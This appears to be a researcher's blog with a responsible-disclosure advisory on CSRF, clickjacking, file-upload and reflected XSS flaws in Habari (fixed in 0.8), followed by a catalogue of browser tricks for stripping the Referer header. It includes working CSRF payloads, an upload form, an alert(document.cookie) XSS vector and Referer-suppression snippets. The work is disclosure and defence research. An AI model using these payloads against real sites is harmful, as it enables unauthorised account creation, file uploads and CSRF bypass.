Habari is a very nice blogging system - I tried to break it again, so let me show what I discovered in the next lines.
Note: all the showed vulnerabilities were fixed in the last Habari release (Habari 0.8).

Analysis

1. No clickjacking countermeasures

The admin section can be loaded in an iframe. You may exploit this by adopting some UI redressing techniques. Pretty scary!

2. CSRF in the add users process

Two anti-CSRF tokens are used when adding a new user, actually they are not properly validated. By making an HTTP POST request to http://[domain]/[habari_path]/admin/users and by populating this with the following fields only, it still results in a successful action.

new_email x@sa.x
new_pass1 x
new_pass2 x
new_username x
newuser Add User
reassign 0

The new user has not particular priviledges, but he is able to comment every blogpost bypassing the comments moderation. The attacker should just make the admin visit the following malicious page:

<script>
var xmlhttp = new XMLHttpRequest();
var params = "new_username=asd&new_email=asdas%40das.sa&new_pass1=1&new_pass2=1&newuser=Add+User&reassign=0";

xmlhttp.open("POST","http://[domain]/[habari_path]/admin/users",true);
xmlhttp.withCredentials = "true";

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");

xmlhttp.send(params);
</script>

3.1 CSRF file upload in Media Silo - it may lead to invisible arbitrary CSRF file upload

The attacker is able to force the admin in uploading whatever it wants. It just need to deploy the following page and convince him to make an upload action.

<form action="http://[domain]/[habari_path]/admin_ajax/media_panel" method="post" enctype="multipart/form-data">

<input type="file" name="file">
<input type="submit" value="Upload" name="upload">
<input type="hidden" value="Habari" name="path">
<input type="hidden" value="upload" name="panel">

</form>

Here follows some request details:

POST http://[domain]/[habari_path]/admin_ajax/media_panel

Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: ???

-----------------------------265001916915724
Content-Disposition: form-data; name="file"; filename="filename.jpg"
Content-Type: image/jpeg

[binary data]
-----------------------------265001916915724
Content-Disposition: form-data; name="upload"

Upload
-----------------------------265001916915724
Content-Disposition: form-data; name="path"

Habari/
-----------------------------265001916915724
Content-Disposition: form-data; name="panel"

upload
-----------------------------265001916915724--

As usual, this process could be realized without user interaction (with some Javascript code), exploiting the CORS specification - the upload will complete transparently! I discovered something similar in Facebook.
For further information take a look at the Kotowicz's interesting presentation.

3.2 Uploaded file extension is not checked

The file upload process accepts every file extension, so the attacker might upload a PHP shell (or something similar) using the method above.

3.3 Uploaded files are located in a predictable position w/o randomizing their names

Uploaded files are located in [habari_path]/user/files/, basically no path+filename guessing is required for the attacker.

4. Non-persistent (reflected) XSS

http://[domain]/[habari_path]/admin/<a href=onload=alert(document.cookie);">

The previous vector results in the following tag:

<body class="page-<a href=" onload="alert(document.cookie);""">

That is pretty weird! You were able to inject non-malicious tags such as anchors - the filter accepted them without considering the first quote after the HREF attribute was breaking the class attribute.

Fix(es)

1. X-Frame-Options: DENY was employed and a framebuster as well (fix).

2. As I suggested, they employed the right validation for the anti-CSRF token (fix).

3.1 As above, anti-CSRF solved this issue and ensured the validity of the upload (fix).

3.2, 3.3 By solving the 3.1 issue, the attacker cannot force the upload anymore, so these issue are implicitly solved.

4. The reflected string is actually sanitized, however something like the following still works (but yeah, this is not a security issue at all). (fix).

http://[domain]/[habari_path]/admin/go%20to%20www.badsite.org%20to%20download%20the%20last%20habari%20version

Disclosure timeline

10.18.11 vendor contacted
10.18.11 Habari confirms they got my report
10.27.11 Issue 1,2,4 fixed
11.08.11 Issue 3 fixed
12.13.11 Habari 0.8 released

Habari users are hardly encouraged to update their blog system as soon as possible.
I would like to thank the Habari security team, that is really friendly and available. Thanks guys for your collaboration! :)

Bye bye, Referrer...

The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens.

  • If a request lacks the header, the site accepts the request (lenient Referer validation)
  • If a request lacks the header, do not accept it at all (strict Referer validation)

None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens.
Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost.
I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme.
Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1.

GET method

// Firefox
<script>
location="jar:http://target.xx!/";
</script>

// Firefox
<script>
location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'";
</script>

// Chrome, Safari
<a rel="noreferrer" href="http://target.xx">click me</a>

// Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/>
</map>

POST method

// Firefox
getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'"));

// Firefox
<script>
location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'";
</script>

// Firefox, Chrome, Safari
<a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a>

// Firefox, Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" />
</map>

About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application.
As you can see, javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements!
For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject).
I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') [Flash] leaks the referrer.

Conclusion

If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens...

For further information:
- Robust Defenses for Cross-Site Request Forgery
- Cross-Site Request Forgery (CSRF) - OWASP
- Redirection Methods - html5security